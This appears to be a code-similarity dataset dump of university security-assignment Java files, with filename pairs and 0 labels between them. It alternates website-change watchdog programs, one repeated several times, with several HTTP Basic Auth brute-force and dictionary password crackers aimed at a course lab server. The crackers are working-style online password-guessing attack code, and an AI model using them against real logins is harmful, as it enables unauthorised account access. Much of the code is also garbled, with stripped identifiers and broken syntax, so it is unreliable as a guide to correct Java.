instd.print(); }catch(MalformedURLException e){System.out.println(e.getMessage());} catch(IOException e1){System.out.println(e1.getMessage());} } public String getChangeMessage(){ String mssg = ""; for(int i =0; i<secondVector.size();i++){ tmpVector.add((String)secondVector.get(i)); } for(int i=0; i<firstVector.size(); i++){ String line = (String)(firstVector.get(i)); int same = 0; for(int j=0; j<tmpVector.size(); j++){ String newline = (String)(tmpVector.get(j)); if(line.equals(newline)){ if(same == 0){ tmpVector.remove(j); same++; } } } } for(int i = 0; i<secondVector.size(); i++){ String line = (String)(secondVector.get(i)); int same =0; for(int j=0; j<firstVector.size(); j++){ String newline = (String)(firstVector.get(j)); if(line.equals(newline)){ if(same == 0){ firstVector.remove(j); same++; } } } } if(firstVector.size()!=0){ mssg += "The following lines removed in the latest modified web : \r\n"; for(int i=0; i<firstVector.size(); i++){ mssg +=(String)firstVector.get(i) + "\r\n"; } } if(tmpVector.size()!=0){ mssg += "The following lines new ones in the latest modified web : \r\n"; for(int i=0; i<tmpVector.size(); i++){ mssg += (String)tmpVector.get(i) + "\r\n"; } } return mssg; } public void setMonitorURL(String url){ spec = url; } public void setMonitorDuration(int t){ totalDuration = t*60*60*1000; } public void setMonitorInterval(int intervalMinutes){ intervalTime = intervalMinutes*60*1000; } public void setSMTPServer(String server){ yourSMTPserver = server; } public void setSMTPPort(int port){ smtpPort = port; } public void setMailFrom(String mfrom){ mailFrom = mfrom; } public void setMailTo(String mto){ mailTo = mto; } public String getMonitorURL(){ return spec; } public getDuration(){ return totalDuration; } public getInterval(){ return intervalTime; } public String getSMTPServer(){ return yourSMTPserver; } public int getPortnumber(){ return smtpPort; } public String getMailFrom(){ return mailFrom; } public String getMailTo(){ return mailTo; } public String getServerReply() { return reply; } public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{ connect(); doHail(mfrom, mto); doSendMessage(mfrom, mto, subject, msg); doQuit(); } public void connect() throws SMTPException { try { socketsmtp = new Socket(yourSMTPserver, smtpPort); emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream())); emailout = new PrintStream(socketsmtp.getOutputStream()); reply = emailin.readLine(); if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {} else { throw new SMTPException("Error connecting SMTP server " + yourSMTPserver + " port " + smtpPort); } }catch(Exception e) { throw new SMTPException(e.getMessage());} } public void doHail(String mfrom, String mto) throws SMTPException { if (doCommand("HELO " + yourSMTPserver)) throw new SMTPException("HELO command Error."); if (doCommand("MAIL FROM: " + mfrom)) throw new SMTPException("MAIL command Error."); if (doCommand("RCPT : " + mto)) throw new SMTPException("RCPT command Error."); } public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException { Date date = new Date(); Locale locale = new Locale("",""); String pattern = "hh:mm: a',' dd-MMM-yyyy"; SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale); formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne")); String sendDate = formatter.format(date); if (doCommand("DATA")) throw new SMTPException("DATA command Error."); String header = "From: " + mfrom + "\r\n"; header += ": " + mto + "\r\n"; header += "Subject: " + subject + "\r\n"; header += "Date: " + sendDate+ "\r\n\r\n"; if (doCommand(header + msg + "\r\n.")) throw new SMTPException("Mail Transmission Error."); } public boolean doCommand(String commd) throws SMTPException { try { emailout.print(commd + "\r\n"); reply = emailin.readLine(); if (reply.charAt(0) == '4' || reply.charAt(0) == '5') return true; else return false; }catch(Exception e) {throw new SMTPException(e.getMessage());} } public void doQuit() throws SMTPException { try { if (doCommand("Quit")) throw new SMTPException("QUIT Command Error"); emailin.put(); emailout.flush(); emailout.send(); socketsmtp.put(); }catch(Exception e) { } } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
084.java
195.java
0
import java.Thread; import java.io.*; import java.net.*; public class BruteForce extends Thread { final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'}; final static int SUCCESS=1, FAILED=0, UNKNOWN=-1; private static String host, path, user; private Socket target; private InputStream input; private OutputStream output; private byte[] data; private int threads, threadno, response; public static boolean solved = false; BruteForce parent; public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent) { super(); this.parent = parent; this.host = host; this.path = path; this.user = user; this.threads = threads; this.threadno = threadno; } public void run() { response = FAILED; int x = 0; starttime = System.currentTimeMillis(); for(int i=0; i<CHARACTERS.length && !parent.solved; i++) { for(int j=0; j<CHARACTERS.length && !parent.solved; j++) { for(int k=0; k<CHARACTERS.length && !parent.solved; k++) { if((x % threads) == threadno) { response = tryLogin(CHARACTERS[i] + "" + CHARACTERS[j] + CHARACTERS[k]); if(response == SUCCESS) { System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]); parent.solved = true; } if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+")"); } x++; } } } if(response == SUCCESS) { System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec."); System.out.println("Thread . " + threadno + " was the one!"); } } public static void main (String[] args) { BruteForce parent; BruteForce[] attackslaves = new BruteForce[10]; if(args.length == 3) { host = args[0]; path = args[1]; user = args[2]; } else { System.out.println("Usage: BruteForce <host> <path> <user>"); System.out.println(" arguments specified, using standard values."); host = "sec-crack.cs.rmit.edu."; path = "/SEC/2/index.php"; user = ""; } System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user); System.out.println("Using " + attackslaves.length + " happy threads..."); parent = new BruteForce(host, path, user, 0, 0, null); for(int i=0; i<attackslaves.length; i++) { attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent); } for(int i=0; i<attackslaves.length; i++) { attackslaves[i].print(); } } private int tryLogin(String password) { int success = -1; try { data = new byte[12]; target = new Socket(host, 80); input = target.getInputStream(); output = target.getOutputStream(); String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes()); output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes()); output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes()); input.print(data); if(new String(data).endsWith("401")) success=0; if(new String(data).endsWith("200")) success=1; } catch(Exception e) { System.out.println(e.getClass().getName() + ": " + e.getMessage()); } return success; } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
115.java
195.java
0
import java.net.*; import java.util.*; import java.io.*; public class PasswordTest { private String strURL; private String strUsername; private String strPassword; public PasswordTest(String url, String username, String password) { strURL = url; strUsername = username; strPassword = password; } boolean func() { boolean result = false; Authenticator.setDefault (new MyAuthenticator ()); try { URL url = new URL(strURL); HttpURLConnection urlConn = (HttpURLConnection)url.openConnection(); urlConn.connect(); if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) { result = true; } } catch (IOException e) {} return result; } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = strUsername; String password = strPassword; return new PasswordAuthentication(username, password.toCharArray()); } } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
233.java
195.java
0
import java.util.*; import java.io.*; import java.*; public class Dogs5 { public static void main(String [] args) throws Exception { executes("rm index.*"); executes("wget http://www.cs.rmit.edu./students"); while (true) { String addr= "wget http://www.cs.rmit.edu./students"; executes(addr); String hash1 = md5sum("index.html"); String hash2 = md5sum("index.html.1"); System.out.println(hash1 +"|"+ hash2); BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt")); String line=" " ; String line1=" " ; String line2=" "; String line3=" "; String[] cad = new String[10]; executes("./.sh"); int i=0; while ((line = buf.readLine()) != null) { line1="http://www.cs.rmit.edu./students/images"+line; if (i==1) line2="http://www.cs.rmit.edu./students/images"+line; if (i==2) line3="http://www.cs.rmit.edu./students/images"+line; i++; } System.out.println(line1+" "+line2+" "+line3); executes("wget "+line1); executes("wget "+line2); executes("wget "+line3); String hash3 = md5sum("index.html.2"); String hash4 = md5sum("index.html.3"); String hash5 = md5sum("index.html.4"); BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt")); String linee=" " ; String linee1=" " ; String linee2=" "; String linee3=" "; executes("./ip1.sh"); int j=0; while ((linee = buf2.readLine()) != null) { linee1="http://www.cs.rmit.edu./students/images"+linee; if (j==1) linee2="http://www.cs.rmit.edu./students/images"+linee; if (j==2) linee3="http://www.cs.rmit.edu./students/images"+linee; j++; } System.out.println(line1+" "+line2+" "+line3); executes("wget "+linee1); executes("wget "+linee2); executes("wget "+linee3); String hash6 = md5sum("index.html.5"); String hash7 = md5sum("index.html.6"); String hash8 = md5sum("index.html.7"); boolean pict=false; if (hash3.equals(hash6)) pict=true; boolean pict2=false; if (hash3.equals(hash6)) pict2=true; boolean pict3=false; if (hash3.equals(hash6)) pict3=true; if (hash1.equals(hash2)) { executes("./difference.sh"); executes("./mail.sh"); } else { if (pict || pict2 || pict3) { executes(".~/Assign2/difference.sh"); executes(".~/Assign2/mail2.sh"); } executes(".~/Assign2/difference.sh"); executes(".~/Assign2/mail.sh"); executes("./reorder.sh"); executes("rm index.html"); executes("cp index.html.1 index.html"); executes("rm index.html.1"); executes("sleep 5"); } } } public static void executes(String comm) throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream())); String cad; while(( cad = bf.readLine()) != null) { System.out.println(); } p.waitFor(); } public static String md5sum(String file) throws Exception { String cad; String hash= " "; Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash", "-c", "md5sum "+file }); BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream())); while((bf = cad.readLine()) != null) { StringTokenizer word=new StringTokenizer(); hash=word.nextToken(); System.out.println(hash); } return hash; } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
086.java
195.java
0
import java.net.*; import java.io.*; import java.*; public class BruteForce { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ BruteForce a = new BruteForce(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; int attempts = 0; exit: for (int i=0;i<pwdArray.length;i++) { for (int j=0;j<pwdArray.length;j++) { for (int k=0;k<pwdArray.length;k++) { if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue; if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue; inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k]; attempts++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempts); break exit; } inp[2] = ""; } } } } public void doit(String args[]) { try { BufferedReader in = new BufferedReader( new InputStreamReader (connectURL(new URL(args[0]), args[1], args[2]))); String line; while ((line = in.readLine()) != null) { System.out.println(line); status = true; } } catch (IOException e) { } } public InputStream connectURL (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char pwdArray [] = { 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', ' ' }; private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
153.java
195.java
0
import java.io.*; import java.net.*; public class BruteForce { public static void main(String[] args) { BruteForce brute=new BruteForce(); brute.start(); } public void start() { char passwd[]= new char[3]; String password; String username=""; String auth_data; String server_res_code; String required_server_res_code="200"; int cntr=0; try { URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection conn=null; for (int i=65;i<=122;i++) { if(i==91) { i=i+6; } passwd[0]= (char) i; for (int j=65;j<=122;j++) { if(j==91) { j=j+6; } passwd[1]=(char) j; for (int k=65;k<=122;k++) { if(k==91) { k=k+6; } passwd[2]=(char) k; password=new String(passwd); password=password.trim(); auth_data=null; auth_data=username + ":" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1"); conn.setRequestProperty ("Authorization", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code); if( server_res_code.compareTo(required_server_res_code)==0 ) {System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code ); i=j=k=123;} } } } } catch (Exception e) { System.err.print(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = ""; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return " " + encodedString; } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
150.java
195.java
0
import java.net.*; import java.io.*; import java.util.Date; public class Dictionary{ private static String password=" "; public static void main(String[] args) { String Result=""; if (args.length<1) { System.out.println("Correct Format Filename username e.g<>"); System.exit(1); } Dictionary dicton1 = new Dictionary(); Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); } private String Dict(String urlString,String username) { int cnt=0; FileInputStream stream=null; DataInputStream word=null; try{ stream = new FileInputStream ("/usr/share/lib/dict/words"); word =new DataInputStream(stream); t0 = System.currentTimeMillis(); while (word.available() !=0) { password=word.readLine(); if (password.length()!=3) { continue; } System.out.print("crackin...:"); System.out.print("\b\b\b\b\b\b\b\b\b\b\b" ); URL url = new URL (urlString); String userPassword=username+":"+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc = url.openConnection(); conc.setRequestProperty ("Authorization", " " + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("The Number Of Attempts : "+cnt); t1 = System.currentTimeMillis(); net=t1-t0; System.out.println("Total 